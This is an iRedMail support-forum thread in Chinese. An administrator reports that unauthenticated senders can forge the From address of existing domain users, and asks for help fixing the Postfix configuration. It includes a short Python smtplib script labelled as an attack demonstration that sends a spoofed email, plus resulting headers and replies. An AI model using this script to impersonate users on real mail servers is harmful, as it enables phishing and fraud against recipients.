主题: 任意用户可伪造from为本域已有用户发送邮件

==== 必填信息。没有填写将不予回复 ====
- iRedMail 版本号:
- 使用哪个数据库存储用户帐号(OpenLDAP,MySQL,PostgreSQL):
- 使用的 Linux/BSD 发行版名称及版本号:
- 与您的问题相关的日志信息:
==== ==== 必填信息。没有填写将不予回复 ====
- iRedMail 版本号:0.7.3
- 使用哪个数据库存储用户帐号(OpenLDAP,MySQL,PostgreSQL):OpenLDAP
- 使用的 Linux/BSD 发行版名称及版本号:CentOS6.5
- 与您的问题相关的日志信息:
====

邮件域下不存在的账号可在from中伪造为本域存在用户发送邮件
假设我们的域名是xx.com
任意人员以  <xx域的不存在账号名@xx.com>  为用户名,不需要密码,就可以发送邮件,在发送的邮件中,还可用把
from设置为xx.com的合法存在用户 <被仿冒者@xx.com>
发送给xx.com的被欺骗者  <被骗者@xx.com>
仅通过from无法发现邮件不是 <被仿冒者@xx.com> 发送的

攻击演示python程序:
import sys
import string
import os
import time
import smtplib
import email.utils
from email.mime.text import MIMEText

content = ["test",'test']
msg = MIMEText(''.join(content))
msg['To'] = email.utils.formataddr(('被骗者','被骗者@xx.com'))
msg['From'] = email.utils.formataddr(('被仿冒者@xx.com','被仿冒者@xx.com'))
msg['Subject'] = '伪装者 把自己的from设置成 被仿冒者@xx.com,欺骗 被骗者@xx.com'
server = smtplib.SMTP()
try:
    server.connect('mail.xx.com')
    server.ehlo()
    server.sendmail('xx域的不存在账号名@xx.com',['被骗者@xx.com'],msg.as_string())
except Exception,e:
    print e
    sys.exit(1)
finally:
    server.quit()

<被骗者@xx.com>收到邮件的相关邮件头信息:

Return-Path: <xx域的不存在账号名@xx.com>
Delivered-To: '被骗者@xx.com'
Received: from localhost (mail.xx.com [127.0.0.1])
    by mail.xx.com (Postfix) with ESMTP id C3EE8BC0578
    for <被骗者@xx.com>; Sun, 31 Jan 2016 03:22:09 +0800 (CST)
DKIM-Signature: 略
X-Amavis-Alert: BAD HEADER SECTION, Missing required header field: "Date"
Received: from mail.xx.com ([127.0.0.1])
    by localhost (mail.xx [127.0.0.1]) (amavisd-new, port 10024)
    with ESMTP id OVnjRufa-n5a for <被骗者@xx.com>;
    Sun, 31 Jan 2016 03:22:09 +0800 (CST)
X-Original-Helo: [127.0.0.1] (iRedMail: http://www.iredmail.org/)
Received: from [127.0.0.1] (------)
    by mail.xx.com (Postfix) with ESMTP id A0D73BC0573
    for <被骗者@xx.com>; Sun, 31 Jan 2016 03:22:09 +0800 (CST)
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
To: "被骗者" <被骗者@xx.com>
From: "xx域的不存在账号名@xx.com" <xx域的不存在账号名@xx.com>
Subject: 伪装者 把自己的from设置成 被仿冒者@xx.com,欺骗 被骗者@xx.com
Message-Id: <20160130192209.C3EE8BC0578@mail.xx.com>
Date: Sun, 31 Jan 2016 03:22:09 +0800 (CST)


尝试解决:
postfix的main.cf中原有配置为
smtpd_sender_restrictions = permit_mynetworks, reject_sender_login_mismatch, permit_sasl_authenticated
改为
smtpd_sender_restrictions  = permit_mynetworks, reject_sender_login_mismatch, permit_sasl_authenticated , reject_authenticated_sender_login_mismatch,reject_unauthenticated_sender_login_mismatch,reject_non_fqdn_sender,reject_unknown_sender_domain
未解决

感觉iredmail中不应有此问题,希指导如何查看日志锁定问题,最可能的配置问题是什么

另外,也可通过以下方式补救:
1.本邮件域下所有用户登录必须依据账号、密码
或者
2.将from强行设置为与Return-path相同

水平所限,不了解具体配置,请大家指导

回复: 任意用户可伪造from为本域已有用户发送邮件

你在邮件服务器本机发送邮件,连用户验证都不需要的。换台客户端机器测试你就知道了。

回复: 任意用户可伪造from为本域已有用户发送邮件

不是你说的原因。测试是在其他机器做的,出于安全原因,我没提供给你邮件头的源ip。已经有人发来诈骗邮件。

本域的用户,比如a@xx.com, 需要正确输入密码,并且from也是a@xx.com才能发邮件。

但本域没有的用户,竟然能在from中伪造本域用户信息发邮件。